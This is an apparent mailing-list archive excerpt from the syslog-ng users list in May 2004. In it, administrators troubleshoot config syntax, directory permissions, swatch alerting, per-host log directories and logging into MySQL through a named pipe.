SVNJR04xEDAOBgNVBAsTB1ZTLVBSTzExEzARBgNVBAMTClJlY2lwaWVudHMxMjAwBgNVBAMTKVBl dGVyLld5bmVyIChXeW5lciBQZXRlciwgVmVyaVNpZ24sIEluYy4pMIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDFJm21ZLXqQFYs3ifrl7pW3dZ9WgtWxflXFtVbXVaBrBE86eIo3or9tySTomO/ XL8bSvifck42mHZuhj22l2R534m+gDULaJJpbQJbXpw687d9OlYMIQiz+GysmwT1PyzLTsrxCbjo FG3d5uMVZRifzNi8W5GBrH0IPcvwijHNJQIDAQABo4IBeDCCAXQwCQYDVR0TBAIwADBZBgNVHR8E UjBQME6gTKBKhkhodHRwOi8vb25zaXRlY3JsLnZlcmlzaWduLmNvbS9WZXJpU2lnbkluY0V4Y2hh bmdlRW1wbG95ZWVzL0xhdGVzdENSTC5jcmwwCwYDVR0PBAQDAgWgMB4GA1UdEQQXMBWBE3B3eW5l ckB2ZXJpc2lnbi5jb20wgawGA1UdIASBpDCBoTCBngYLYIZIAYb4RQEHAQEwgY4wKAYIKwYBBQUH AgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9DUFMwYgYIKwYBBQUHAgIwVjAVFg5WZXJpU2ln biwgSW5jLjADAgEBGj1WZXJpU2lnbidzIENQUyBpbmNvcnAuIGJ5IHJlZmVyZW5jZSBsaWFiLiBs dGQuIChjKTk3IFZlcmlTaWduMBEGCWCGSAGG+EIBAQQEAwIHgDAdBgNVHSUEFjAUBggrBgEFBQcD BAYIKwYBBQUHAwIwDQYJKoZIhvcNAQEEBQADgYEAVSwmdi7y1LpNotPgBT8wH+RQWOCn2aQC0GAb mssVck0keqmawxw7nqZBW8hERRf/enD+T0kcb/ygzxo0vDAlblPzl16YusVrLDGKsMYUpJCeR8TE c7aXkFjYWPv0S5ukEiD/c03hXZk4C65OKcTMJxYrfrE94M3xLISxgVrk2WkxggL4MIIC9AIBATCB wTCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5l dHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0dHBzOi8vd3d3LnZl cmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENsYXNzIDIgRW1wbG95 ZWUgQ0ECEFtZcVU995N5gM3Ds47cm9MwCQYFKw4DAhoFAKCCAYwwGAYJKoZIhvcNAQkDMQsGCSqG SIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDQwNTA2MTcxMjE4WjAjBgkqhkiG9w0BCQQxFgQU1PrE MKCldl1+7tYUEBPJR83O1mIwWAYJKoZIhvcNAQkPMUswSTAKBggqhkiG9w0DBzAOBggqhkiG9w0D AgICAIAwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwBwYFKw4DAhowCgYIKoZIhvcNAgUwgdIGCSsG AQQBgjcQBDGBxDCBwTCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT aWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0 dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENs YXNzIDIgRW1wbG95ZWUgQ0ECEFtZcVU995N5gM3Ds47cm9MwDQYJKoZIhvcNAQEBBQAEgYALUIgn VrJwNutk52y98ghyPD7Nfi8SQIOBFksQjXjG1PA6QHtN6dBIGjtHy9gG6ZEVibLKQ+edHnAil0Dy LRqYYV0f/k11n135hwttrEIzkH6HrNtVmixKEUR4QioG1Yh2DCip9KjhcIggtCCSrz/k3mWidrnc UcxpzUzMKa7PTwAAAAAAAA== ------=_NextPart_000_0093_01C4336B.C1F96200-- From syslog-ng@lists.balabit.hu Thu May 6 19:14:15 2004 From: syslog-ng@lists.balabit.hu (John Kristoff) Date: Thu, 6 May 2004 13:14:15 -0500 Subject: [syslog-ng]Problem with "kill -HUP" on syslog-ng In-Reply-To: <6A8CA21E339F634E96E13AB97D732275E9C85A@pro1wnexc01.vcorp.ad.vrsn.com> References: <6A8CA21E339F634E96E13AB97D732275E9C85A@pro1wnexc01.vcorp.ad.vrsn.com> Message-ID: <20040506131415.7f270412.jtk@northwestern.edu> On Thu, 6 May 2004 13:04:43 -0400 "Wyner, Peter" wrote: > I'm receiving thousands of syslogs per second, so the truss is not that > useful - it's too difficule to isolate the interval. When failed HUP > issue occurrs, no log entry is written to syslog, and the daemon > continues running normally. This seems to be the same behavior I'm seeing as well. I am not currently running under light load however so I can test that at the moment. Running 1.6.2 on a recent Linux 2.4 kernel in a chroot jail, passing -f, -p, -C and -u options at startup. John From syslog-ng@lists.balabit.hu Thu May 6 23:57:58 2004 From: syslog-ng@lists.balabit.hu (=?ISO-8859-2?Q?Jos=E9_Pedro_Oliveira?=) Date: Thu, 06 May 2004 23:57:58 +0100 Subject: [syslog-ng]libol.spec.in patch In-Reply-To: <1083836496.597.20.camel@bzorp.balabit> References: <40999A2B.5070105@di.uminho.pt> <1083836496.597.20.camel@bzorp.balabit> Message-ID: <409AC2F6.2090609@di.uminho.pt> This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig0A8CD63459A7F62359D80AB2 Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 8bit Balazs Scheidler wrote: > 2004-05-06, cs keltezéssel 03:51-kor José Pedro Oliveira ezt írta: > >>Bazsi. >> >>The specfile included in libol no longer builds correctly >>(it is broken since Red Hat 9, or more correctly, since rpm 4.2). >> >>With the attached patch is builds correctly at least in >>RH73, RH9, and Fedora Core 1. >> > > > committed. > Thanks. People can now build libol RPMS by just executing: rpmbuild -ta libol-0.3.13+20040507.tar.gz jpo -- José Pedro Oliveira * mailto: jpo@di.uminho.pt * http://gsd.di.uminho.pt/~jpo * * gpg fingerprint = F9B6 8D87 859D 1C94 48F0 84C0 9749 9EB5 91BD 851B * --------------enig0A8CD63459A7F62359D80AB2 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFAmsL7l0metZG9hRsRAtKVAKCVEw9m1KqC6f8ZAoAb8gQK26dHdwCgpLku 0ihqYYwcApwkiVIIyJ1IWQc= =HJxx -----END PGP SIGNATURE----- --------------enig0A8CD63459A7F62359D80AB2-- From syslog-ng@lists.balabit.hu Sat May 8 04:46:00 2004 From: syslog-ng@lists.balabit.hu (mark) Date: Sat, 8 May 2004 04:46:00 +0100 Subject: [syslog-ng]Greetings, and a syntax error... Message-ID: <20040508034600.GB2422@logik.ath.cx> Good evening. Greetings to all users on this list, I've just signed up. Primarily I wanted syslog-ng to do secure remote logging by piping it through stunnel or ssh, but now I've had some time with the config file, I much prefer the syntax. A problem. I have a syntax error in my config file somewhere, and I just can't see it. syslog-ng gives the incredibly helpful: syntax error in 3 Parse error reading configuration file, exiting. (line 3) I've tried every variation I can think of on this line. Anyway, here is the config file: options { sync(0); }; source src { unix-dgram("/dev/log"); internal(); owner("syslog-ng"); group("syslog-ng"); perm(0600); }; source s_tcp { tcp( port(1028) ip("127.0.0.1") max-connections(2)); }; destination authlog { file("/var/log/syslog-ng/$HOST/auth.log" owner("syslog-ng") group ("syslog-ng") perm(0600) create_dirs(yes) dir_perm(0600)); }; destination syslog { file("/var/log/syslog-ng/$HOST/syslog.log" owner("syslog-ng") group ("syslog-ng") perm(0600) create_dirs(yes) dir_perm(0600)); }; destination cron { file("/var/log/syslog-ng/$HOST/cron.log" owner("syslog-ng") group ("syslog-ng") perm(0600) create_dirs(yes) dir_perm(0600)); }; destination daemon { file("/var/log/syslog-ng/$HOST/daemon.log" owner("syslog-ng") group ("syslog-ng") perm(0600) create_dirs(yes) dir_perm(0600)); }; destination kern { file("/var/log/syslog-ng/$HOST/kern.log" owner("syslog-ng") group ("syslog-ng") perm(0600) create_dirs(yes) dir_perm(0600)); }; destination lpr { file("/var/log/syslog-ng/$HOST/lpr.log" owner("syslog-ng") group ("syslog-ng") perm(0600) create_dirs(yes) dir_perm(0600)); }; destination user { file("/var/log/syslog-ng/$HOST/user.log" owner("syslog-ng") group ("syslog-ng") perm(0600) create_dirs(yes) dir_perm(0600)); }; destination mail { file("/var/log/syslog-ng/$HOST/mail.log" owner("syslog-ng") group ("syslog-ng") perm(0600) create_dirs(yes) dir_perm(0600)); }; destination debug { file("/var/log/syslog-ng/$HOST/debug" owner("syslog-ng") group ("syslog-ng") perm(0600) create_dirs(yes) dir_perm(0600)); }; destination messages { file("/var/log/syslog-ng/$HOST/messages" owner("syslog-ng") group ("syslog-ng") perm(0600) create_dirs(yes) dir_perm(0600)); }; destination all { file("/var/log/syslog-ng/$HOST/all.log" owner("syslog-ng") group ("syslog-ng") perm(0600) create_dirs(yes) dir_perm(0600)); }; destination console { usertty("root"); }; destination console_all { file("/dev/tty12"); }; filter f_auth { facility(auth); }; filter f_authpriv { facility(auth, authpriv); }; filter f_syslog { not facility(authpriv, mail); }; filter f_cron { facility(cron); }; filter f_daemon { facility(daemon); }; filter f_kern { facility(kern); }; filter f_lpr { facility(lpr); }; filter f_mail { facility(mail); }; filter f_user { facility(user); }; filter f_debug { not facility(auth, authpriv, news, mail); }; filter f_messages { level(info..warn) and not facility(auth, authpriv, mail); }; filter f_emergency { level(emerg); }; filter f_info { level(info); }; filter f_notice { level(notice); }; filter f_warn { level(warn); }; filter f_crit { level(crit); }; log { source(src); filter(f_authpriv); destination(authlog); }; log { source(src); filter(f_syslog); destination(syslog); }; log { source(src); filter(f_cron); destination(cron); }; log { source(src); filter(f_daemon); destination(daemon); }; log { source(src); filter(f_kern); destination(kern); }; log { source(src); filter(f_lpr); destination(lpr); }; log { source(src); filter(f_mail); destination(mail); }; log { source(src); filter(f_user); destination(user); }; log { source(src); filter(f_debug); destination(debug); }; log { source(src); filter(f_messages); destination(messages); }; log { source(src); destination(all); }; log { source(src); destination(console_all); }; As you can see I'm not intending to run syslog-ng as root. Any help would be appreciated. mark www.darklogik.org From syslog-ng@lists.balabit.hu Sat May 8 04:52:59 2004 From: syslog-ng@lists.balabit.hu (mark) Date: Sat, 8 May 2004 04:52:59 +0100 Subject: [syslog-ng]Greetings, and a syntax error... Message-ID: <20040508035259.GA2469@logik.ath.cx> I think I have it solved... :) (blindingly obvious error is swept under the carpet) mark www.darklogik.org From syslog-ng@lists.balabit.hu Sat May 8 05:01:14 2004 From: syslog-ng@lists.balabit.hu (Jeff Dell) Date: Sat, 8 May 2004 00:01:14 -0400 Subject: [syslog-ng]Greetings, and a syntax error... In-Reply-To: <20040508034600.GB2422@logik.ath.cx> Message-ID: <20040508040115.EB39173DF0@mail.activeworx.com> Try removing the quotes from the ip address... Like the following: source s_tcp { tcp(ip(127.0.0.1) port(1028) max-connections(2)); }; Jeff -----Original Message----- From: syslog-ng-admin@lists.balabit.hu [mailto:syslog-ng-admin@lists.balabit.hu] On Behalf Of mark Sent: Friday, May 07, 2004 11:46 PM To: syslog-ng@lists.balabit.hu Subject: [syslog-ng]Greetings, and a syntax error... Good evening. Greetings to all users on this list, I've just signed up. Primarily I wanted syslog-ng to do secure remote logging by piping it through stunnel or ssh, but now I've had some time with the config file, I much prefer the syntax. A problem. I have a syntax error in my config file somewhere, and I just can't see it. syslog-ng gives the incredibly helpful: syntax error in 3 Parse error reading configuration file, exiting. (line 3) I've tried every variation I can think of on this line. Anyway, here is the config file: options { sync(0); }; source src { unix-dgram("/dev/log"); internal(); owner("syslog-ng"); group("syslog-ng"); perm(0600); }; source s_tcp { tcp( port(1028) ip("127.0.0.1") max-connections(2)); }; From syslog-ng@lists.balabit.hu Sat May 8 05:10:42 2004 From: syslog-ng@lists.balabit.hu (mark) Date: Sat, 8 May 2004 05:10:42 +0100 Subject: [syslog-ng]Greetings, and a syntax error... In-Reply-To: <20040508040115.EB39173DF0@mail.activeworx.com> References: <20040508034600.GB2422@logik.ath.cx> <20040508040115.EB39173DF0@mail.activeworx.com> Message-ID: <20040508041042.GB2469@logik.ath.cx> Thanks Jeff, yes that fixed it. Only problem is now I don't appear to be actually getting any logs. I get no errors, and an nmap scan of localhost does indeed show a listener on port 1028. I'll have a play about with it and email the list if I can't get it working. cheers mark www.darklogik.org On Sat, May 08, 2004 at 12:01:14AM -0400, Jeff Dell wrote: > Try removing the quotes from the ip address... Like the following: > > source s_tcp { tcp(ip(127.0.0.1) port(1028) max-connections(2)); }; > > Jeff > > -----Original Message----- > From: syslog-ng-admin@lists.balabit.hu > [mailto:syslog-ng-admin@lists.balabit.hu] On Behalf Of mark > Sent: Friday, May 07, 2004 11:46 PM > To: syslog-ng@lists.balabit.hu > Subject: [syslog-ng]Greetings, and a syntax error... > > Good evening. Greetings to all users on this list, I've just signed up. > Primarily I wanted syslog-ng to do secure remote logging by piping it > through > stunnel or ssh, but now I've had some time with the config file, I much > prefer the syntax. > > A problem. > > I have a syntax error in my config file somewhere, and I just can't see it. > syslog-ng gives the incredibly helpful: > > syntax error in 3 > Parse error reading configuration file, exiting. (line 3) > > I've tried every variation I can think of on this line. Anyway, here is the > config file: > > > options { sync(0); }; > > source src { unix-dgram("/dev/log"); internal(); owner("syslog-ng"); > group("syslog-ng"); perm(0600); }; > > source s_tcp { tcp( port(1028) ip("127.0.0.1") max-connections(2)); }; > > _______________________________________________ > syslog-ng maillist - syslog-ng@lists.balabit.hu > https://lists.balabit.hu/mailman/listinfo/syslog-ng > Frequently asked questions at http://www.campin.net/syslog-ng/faq.html > From syslog-ng@lists.balabit.hu Sat May 8 05:36:33 2004 From: syslog-ng@lists.balabit.hu (mark) Date: Sat, 8 May 2004 05:36:33 +0100 Subject: [syslog-ng]permissions Message-ID: <20040508043633.GA2757@logik.ath.cx> Ok, success is on the horizon. I can start syslog-ng like this: syslog-ng -d -v -f /etc/syslog-ng/syslog-ng.conf -u log -g log where "log" is an unprivileged user (with /bin/false as a shell when it's all working, to prevent logins). The config file specifies that syslog-ng writes to: /var/log/syslog-ng/local/ But the debugging output is giving "permission denied" errors. The permissions on the directories are setup like this: # ls /var drwxr-x--- 9 root root 4096 May 8 05:11 log/ # ls /var/log drwx------ 3 log log 4096 May 8 05:13 syslog-ng/ # ls /var/log/syslog-ng drwx------ 2 log log 4096 May 8 05:13 local/ So surely the user "log" and therefore syslog-ng has permission to read and write in this directory? It doesn't appear to be the case as I can $ su log and get permission denied errors whilst trying to read, write, or even cd into the directory. The permissions on /var/log need to be set as they are, however I'm guessing that this is the root of the problem (no pun intended). Can anyone suggest a fix? mark www.darklogik.org From syslog-ng@lists.balabit.hu Sat May 8 06:14:30 2004 From: syslog-ng@lists.balabit.hu (Nate Campi) Date: Fri, 7 May 2004 22:14:30 -0700 Subject: [syslog-ng]permissions In-Reply-To: <20040508043633.GA2757@logik.ath.cx> References: <20040508043633.GA2757@logik.ath.cx> Message-ID: <20040508051430.GC13906@campin.net> On Sat, May 08, 2004 at 05:36:33AM +0100, mark wrote: > But the debugging output is giving "permission denied" errors. The > permissions on the directories are setup like this: > > # ls /var > drwxr-x--- 9 root root 4096 May 8 05:11 log/ > > # ls /var/log > drwx------ 3 log log 4096 May 8 05:13 syslog-ng/ > > # ls /var/log/syslog-ng > drwx------ 2 log log 4096 May 8 05:13 local/ > > So surely the user "log" and therefore syslog-ng has permission to > read and write in this directory? It doesn't appear to be the case as > I can No, the user log isn't allowed to cd through /var/log. # chmod o+x /var/log ...and you'll be fine. No offense, but I recommend a book like "Essential System Administration" to get a good understanding of UNIX file permissions. -- Nate "If you put a billion monkeys in front of a billion typewriters typing at random, they would reproduce the entire collected works of Usenet in about...five minutes." - Anonymous From syslog-ng@lists.balabit.hu Sat May 8 06:11:34 2004 From: syslog-ng@lists.balabit.hu (mark) Date: Sat, 8 May 2004 06:11:34 +0100 Subject: [syslog-ng]permissions In-Reply-To: <20040508051430.GC13906@campin.net> References: <20040508043633.GA2757@logik.ath.cx> <20040508051430.GC13906@campin.net> Message-ID: <20040508051134.GA2806@logik.ath.cx> On Fri, May 07, 2004 at 10:14:30PM -0700, Nate Campi wrote: > On Sat, May 08, 2004 at 05:36:33AM +0100, mark wrote: > > But the debugging output is giving "permission denied" errors. The > > permissions on the directories are setup like this: > > > > # ls /var > > drwxr-x--- 9 root root 4096 May 8 05:11 log/ > > > > # ls /var/log > > drwx------ 3 log log 4096 May 8 05:13 syslog-ng/ > > > > # ls /var/log/syslog-ng > > drwx------ 2 log log 4096 May 8 05:13 local/ > > > > So surely the user "log" and therefore syslog-ng has permission to > > read and write in this directory? It doesn't appear to be the case as > > I can > > No, the user log isn't allowed to cd through /var/log. > > # chmod o+x /var/log > > ...and you'll be fine. > > No offense, but I recommend a book like "Essential System > Administration" to get a good understanding of UNIX file permissions. Heh, I own a few of them. My brain appears to be in some sort of grey area today, I don't know why it wasn't obvious straight away. :) My only excuse is that it's 6am and I haven't slept yet. Thanks, anyway. mark www.darklogik.org > -- > Nate > > "If you put a billion monkeys in front of a billion typewriters typing > at random, they would reproduce the entire collected works of Usenet in > about...five minutes." - Anonymous > > _______________________________________________ > syslog-ng maillist - syslog-ng@lists.balabit.hu > https://lists.balabit.hu/mailman/listinfo/syslog-ng > Frequently asked questions at http://www.campin.net/syslog-ng/faq.html > From syslog-ng@lists.balabit.hu Sun May 9 16:41:24 2004 From: syslog-ng@lists.balabit.hu (Nilesh Naik) Date: Sun, 9 May 2004 08:41:24 -0700 (PDT) Subject: [syslog-ng]help required !!!! bit urgent Message-ID: <20040509154124.82772.qmail@web60906.mail.yahoo.com> Hello Sir i have sucessfully installed 1) syslog-ng version 1.4.17 2) swatch-3.1 on my redhat 7.2 linux server , which is our central loghost system , all other server are mix of solaris 7,8,9 & redhat linux 7.x, The problem i am facing is i am not able to generate real time alerts using swatch , Following are my configuration files , syslog-ng.conf options { sync (1); time_reopen (10); log_fifo_size (2048); long_hostnames (off); use_dns (yes); use_fqdn (yes); create_dirs (yes); keep_hostname (yes); }; source net { udp(); }; destination swatch { program("/usr/bin/swatch --read-pipe=\"cat /dev/fd/0\""); }; log { source(net); destination(swatch); }; destination hosts { file("/var/log/HOSTS/$HOST/$YEAR/$MONTH/$DAY/$FACILITY$YEAR$MONTH$DAY owner(root) group(root) perm(0600) dir_perm(0700) create_dirs(yes)); }; log { source(net); destination(hosts); }; here , i am getting lots under /var/log/HOSTS directory , but not getting logs of the loghost itself , my swatchrs is small and simple coz its not working at the moment , the same is bellow swatchrc watchfor /error Authentication/ echo exec echo $0 | mail /usr/bin/mail -s \"log 11alert\" user\@testdomain.com throttle 10:00 watchfor /error Authentication/ echo exec echo $0 | bash-mail-alert swap_space user@testdomain.com ~ nighter of this is generating any alerts , nor any files is getting created under /root/swatch directory , but when i start the syslog-ng , and then give ps -ef | grep swatch , i can see swatch process i guess swatch is not getting anything from syslog-ng , no clues why ? please help me and guide me where the problem is , would be really grateful to you sir regards Prashant __________________________________ Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs http://hotjobs.sweepstakes.yahoo.com/careermakeover From syslog-ng@lists.balabit.hu Sun May 9 17:54:49 2004 From: syslog-ng@lists.balabit.hu (Nilesh Naik) Date: Sun, 9 May 2004 09:54:49 -0700 (PDT) Subject: [syslog-ng]sample syslog-ng.conf with swatch alerts Message-ID: <20040509165449.84799.qmail@web60901.mail.yahoo.com> Hi any one having syslog-ng.conf file , for linux loghost, getting logs from the solaris and linux servers then please mail me the same for the reference , actually i am getting logs from all the servers but unfortunately , syslog-ng is not passing the same to swatch , (i guess) so if some one can send the same then would be very helpful to me in setting up a loghost in our datacenter regards Prashant __________________________________ Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs http://hotjobs.sweepstakes.yahoo.com/careermakeover From syslog-ng@lists.balabit.hu Mon May 10 00:30:35 2004 From: syslog-ng@lists.balabit.hu (Philip Webster) Date: Mon, 10 May 2004 09:30:35 +1000 Subject: [syslog-ng]Eventog to syslog In-Reply-To: References: Message-ID: <409EBF1B.7090700@hotpop.com> Tom, Edwards, Thomas wrote: > Has anyone ever used the Eventlog to syslog program found here. > > https://engineering.purdue.edu/ECN/Resources/Documents/UNIX/evtsys I'm using this as the preferred choice for receiving logs from Windows boxen. > I was trying to decipher their input as to how to word the filters and > am coming up short other than putting a direct match for the host name I > am using. > > Any help would be greatly appreciated. I don't use a filter, but use a destination along the lines of ... file("/path/to/logs/$HOST/$YEAR-$MONTH-$DAY" template("$FULLDATE $FULLHOST $FACILITY.$PRIORITY $MSG\n") owner(root) group(root) perm(0600) dir_perm(0700) create_dirs(yes)); ... which means that logs for each host go into a separate directory, and that they are 'rotated' on a daily basis. This may not suit your needs, but works well for me. Cheers Phil From syslog-ng@lists.balabit.hu Mon May 10 11:06:13 2004 From: syslog-ng@lists.balabit.hu (syslog-ng@lists.balabit.hu) Date: Mon, 10 May 2004 11:06:13 +0100 Subject: [syslog-ng]Eventog to syslog In-Reply-To: <409EBF1B.7090700@hotpop.com> References: <409EBF1B.7090700@hotpop.com> Message-ID: <20040510100613.GA2930@logik.ath.cx> On Mon, May 10, 2004 at 09:30:35AM +1000, Philip Webster wrote: > Tom, > > Edwards, Thomas wrote: > >Has anyone ever used the Eventlog to syslog program found here. > > > >https://engineering.purdue.edu/ECN/Resources/Documents/UNIX/evtsys > > I'm using this as the preferred choice for receiving logs from Windows > boxen. > > >I was trying to decipher their input as to how to word the filters and > >am coming up short other than putting a direct match for the host name I > >am using. > > > >Any help would be greatly appreciated. > > I don't use a filter, but use a destination along the lines of ... > > file("/path/to/logs/$HOST/$YEAR-$MONTH-$DAY" Sorry to interrupt but: I actually wanted this exact organisation system (/path/to/logs/$HOST) but I decided against it because of what I read in the syslog-ng FAQ. Is this information out of date?. [OT] It's all irrelevant now anyway because I managed to break syslog-ng, it now no longer logs anything, or gives any errors :S mark www.darklogik.org > template("$FULLDATE $FULLHOST $FACILITY.$PRIORITY $MSG\n") > owner(root) group(root) perm(0600) dir_perm(0700) create_dirs(yes)); > > ... which means that logs for each host go into a separate directory, and > that they are 'rotated' on a daily basis. This may not suit your needs, > but works well for me. > > Cheers > Phil > > _______________________________________________ > syslog-ng maillist - syslog-ng@lists.balabit.hu > https://lists.balabit.hu/mailman/listinfo/syslog-ng > Frequently asked questions at http://www.campin.net/syslog-ng/faq.html > From syslog-ng@lists.balabit.hu Mon May 10 13:13:02 2004 From: syslog-ng@lists.balabit.hu (Gayathri J. Gunawardena) Date: Mon, 10 May 2004 18:13:02 +0600 Subject: [syslog-ng]How to log into mysql database - help required Message-ID: <002a01c43688$24f2ca80$950073cb@GAYATHRI> This is a multi-part message in MIME format. ------=_NextPart_000_0027_01C436BA.6EC02680 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I require to log syslogs into a mysql database. I used syslog-ng = (downloaded the rpm for syslog-ng - ver 1.6 and libol from rpmseek.com = and installed it) and used the information available in the site=20 http://www.vermeer.org/display_doc.php?doc_id=3D1 for this purpose. As = given in this website (1) First I made the pipe file using the following command =20 # mkfifo /tmp/mysql.pipe =20 (2) Then I used the following command to log into mysql (first tried = with local logging) # mysql -u root --password=3Dpasswd syslog < /tmp/mysql.pipe =20 This command gets stuck =20 But when syslog-ng is stopped and started it logs and the contenets in = /tmp/mysql.pipe gets loaded into the database table. The following = commands were used to stop and start syslog-ng /etc/init.d/syslog-ng stop # Stop syslog-ng /etc/ini.d/syslog-ng start # Start syslog-ng =20 (3) The site states about an initialization script like this one which = needs to be started at start up. =20 The script given is provided below. =20 #!/bin/bash if [ -e /tmp/mysql.pipe ]; then while [ -e /tmp/mysql.pipe ] do mysql -u theuserid --password=3Dthepassword syslogdb < /tmp/mysql.pipe done else mkfifo /tmp/mysql.pipe fi =20 Where should I put this script and how to start it up at initialization? = =20 Could you explain the working pricipal of this script? =20 =20 ------=_NextPart_000_0027_01C436BA.6EC02680 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I require to log syslogs into a mysql = database. I=20 used syslog-ng (downloaded the rpm for syslog-ng - ver 1.6 and libol = from=20 rpmseek.com and installed it) and used the information available in the = site=20
http://www.ver= meer.org/display_doc.php?doc_id=3D1 for=20 this purpose. As given in this website
 
(1) First I made the pipe file using = the following=20 command
 
# mkfifo /tmp/mysql.pipe
 
(2) Then I used the following command = to log into=20 mysql (first tried with local logging)
 
# mysql -u root --password=3Dpasswd = syslog <=20 /tmp/mysql.pipe
 
This command gets stuck
 
But when syslog-ng is stopped and = started it logs=20 and the contenets in /tmp/mysql.pipe gets loaded into the database = table. The=20 following commands were used to stop and start = syslog-ng
/etc/init.d/syslog-ng stop # Stop=20 syslog-ng
/etc/ini.d/syslog-ng start # Start syslog-ng
 
(3) The site states about an = initialization script=20 like this one which needs to be started at start up.
 
The script given is provided = below.
 
#!/bin/bash

if [ -e=20 /tmp/mysql.pipe ]; then
while [ -e /tmp/mysql.pipe ]
do
mysql = -u=20 theuserid --password=3Dthepassword syslogdb <=20 /tmp/mysql.pipe
done
else
mkfifo=20 /tmp/mysql.pipe
fi

 
Where should I put this script and how = to start it=20 up at initialization? 
 
Could you explain the working pricipal = of this=20 script?
 

 
------=_NextPart_000_0027_01C436BA.6EC02680-- From syslog-ng@lists.balabit.hu Mon May 10 14:19:26 2004 From: syslog-ng@lists.balabit.hu (Hamilton, Andrew) Date: Mon, 10 May 2004 09:19:26 -0400 Subject: [syslog-ng]How to log into mysql database - help required Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C43691.6AF5F007 Content-Type: text/plain; charset="iso-8859-1" Try going here: http://www.campin.net/syslog-ng/faq.html Regards. -----Original Message----- From: Gayathri J. Gunawardena [mailto:gjg@sltnet.lk] Sent: Monday, May 10, 2004 8:13 AM To: syslog-ng@lists.balabit.hu Subject: [syslog-ng]How to log into mysql database - help required I require to log syslogs into a mysql database. I used syslog-ng (downloaded the rpm for syslog-ng - ver 1.6 and libol from rpmseek.com and installed it) and used the information available in the site http://www.vermeer.org/display_doc.php?doc_id=1 for this purpose. As given in this website (1) First I made the pipe file using the following command # mkfifo /tmp/mysql.pipe (2) Then I used the following command to log into mysql (first tried with local logging) # mysql -u root --password=passwd syslog < /tmp/mysql.pipe This command gets stuck But when syslog-ng is stopped and started it logs and the contenets in /tmp/mysql.pipe gets loaded into the database table. The following commands were used to stop and start syslog-ng /etc/init.d/syslog-ng stop # Stop syslog-ng /etc/ini.d/syslog-ng start # Start syslog-ng (3) The site states about an initialization script like this one which needs to be started at start up. The script given is provided below. #!/bin/bash if [ -e /tmp/mysql.pipe ]; then while [ -e /tmp/mysql.pipe ] do mysql -u theuserid --password=thepassword syslogdb < /tmp/mysql.pipe done else mkfifo /tmp/mysql.pipe fi Where should I put this script and how to start it up at initialization? Could you explain the working pricipal of this script? ------_=_NextPart_001_01C43691.6AF5F007 Content-Type: text/html; charset="iso-8859-1"
Try going here:
 
-----Original Message-----
From: Gayathri J. Gunawardena [mailto:gjg@sltnet.lk]
Sent: Monday, May 10, 2004 8:13 AM
To: syslog-ng@lists.balabit.hu
Subject: [syslog-ng]How to log into mysql database - help required

I require to log syslogs into a mysql database. I used syslog-ng (downloaded the rpm for syslog-ng - ver 1.6 and libol from rpmseek.com and installed it) and used the information available in the site
http://www.vermeer.org/display_doc.php?doc_id=1 for this purpose. As given in this website
 
(1) First I made the pipe file using the following command
 
# mkfifo /tmp/mysql.pipe
 
(2) Then I used the following command to log into mysql (first tried with local logging)
 
# mysql -u root --password=passwd syslog < /tmp/mysql.pipe
 
This command gets stuck
 
But when syslog-ng is stopped and started it logs and the contenets in /tmp/mysql.pipe gets loaded into the database table. The following commands were used to stop and start syslog-ng
/etc/init.d/syslog-ng stop # Stop syslog-ng
/etc/ini.d/syslog-ng start # Start syslog-ng
 
(3) The site states about an initialization script like this one which needs to be started at start up.
 
The script given is provided below.
 
#!/bin/bash

if [ -e /tmp/mysql.pipe ]; then
while [ -e /tmp/mysql.pipe ]
do
mysql -u theuserid --password=thepassword syslogdb < /tmp/mysql.pipe
done
else
mkfifo /tmp/mysql.pipe
fi

 
Where should I put this script and how to start it up at initialization? 
 
Could you explain the working pricipal of this script?
 

 
------_=_NextPart_001_01C43691.6AF5F007-- From syslog-ng@lists.balabit.hu Mon May 10 14:40:17 2004 From: syslog-ng@lists.balabit.hu (Nate Campi) Date: Mon, 10 May 2004 06:40:17 -0700 Subject: [syslog-ng]Eventog to syslog In-Reply-To: <20040510100613.GA2930@logik.ath.cx> References: <409EBF1B.7090700@hotpop.com> <20040510100613.GA2930@logik.ath.cx> Message-ID: <20040510134017.GF13906@campin.net> On Mon, May 10, 2004 at 11:06:13AM +0100, markzero@logik.ath.cx wrote: > > Sorry to interrupt but: I actually wanted this exact organisation > system (/path/to/logs/$HOST) but I decided against it because of what > I read in the syslog-ng FAQ. Is this information out of date?. You would need to be specific about the information you mean, but the answer is no. It's always good advice to not trust input from the network (including the DNS), it's up to you to audit the syslog-ng source code to see what sanity checks it puts on the input, and up to you to ensure that your configuration doesn't compromise your security. The FAQ just gives generally good advice. If someone can prove that syslog-ng will never compromise a host's security because of filenames created using macro expansion (good luck proving perfect security), then I'll update the FAQ. It should be noted that many, if not most people do use the hostname to log by directory and no ill effects have been reported (to my knowledge) besides the junk directory names. My randomly chosen signature is closely related, must be a sign. -- Nate Your mantra for today is: 